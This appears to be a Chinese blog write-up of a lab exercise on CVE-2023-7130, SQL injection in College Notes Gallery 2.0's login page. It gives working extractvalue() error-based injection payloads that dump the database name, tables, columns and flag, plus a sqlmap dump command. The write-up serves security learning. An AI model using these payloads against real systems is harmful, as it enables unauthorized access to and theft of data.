春秋云境靶场之CVE-2023-7130

靶标介绍

College Notes Gallery 2.0 允许通过“/notes/login.php”中的参数‘user’进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序,访问或修改数据.

攻克过程

1、打开靶机

2、 根据靶标提示,点击login进入登录界面

3、通过判断, 在username处存在报错注入

这时就有两种方法来获取flag。第一种就是通过HackBar进行手工注入,第二种就是使用sqlmap省时省力。

我们先来介绍第一种方法。

 1、通过函数extractvalue()进行报错注入,分别获取数据库名称,表名称,字段名称及flag。

这里先介绍一下extractvalue()函数

它的使用语法是:EXTRACTVALUE (XML_document, XPath_string);第一个参数:XML_document是String格式,为XML文档对象的名称 ;第二个参数:XPath_string (Xpath格式的字符串)

而当Xpath语法将查询参数格式写错时,会有报错,于是利用这点进行报错注入

0x7e是~的十六进制,用来突出查询结果

concat()函数则是将几个字符串拼接起来

除了extractvalue()之外,SQL报错注入还有两个比较经典的函数floor()  updatexml(),感兴趣的可以多了解一下

user=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#    爆出数据库名称

user=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='notes'),0x7e))#  爆出表名

 

 

user=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flllaaaag'),0x7e))#  爆出列名

 

在获取flag的时候,因为extractvalue()函数显示有长度限制为32,所以这里要用到substr()函数进行分段截取 

substr(string,start,length) 对于给定的字符串string,从start位开始截取,截取length长度,如substr('chinese',3,2)=in

同理,还有两个类似的函数stbstring() mid()是一样的用法

user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),1,30),0x7e))#

user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),20,30),0x7e))#

 

接下来就介绍sqlmap的使用。将登陆界面的数据使用burpsuite抓包保存为test.txt

sqlmap -r test.txt --batch --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值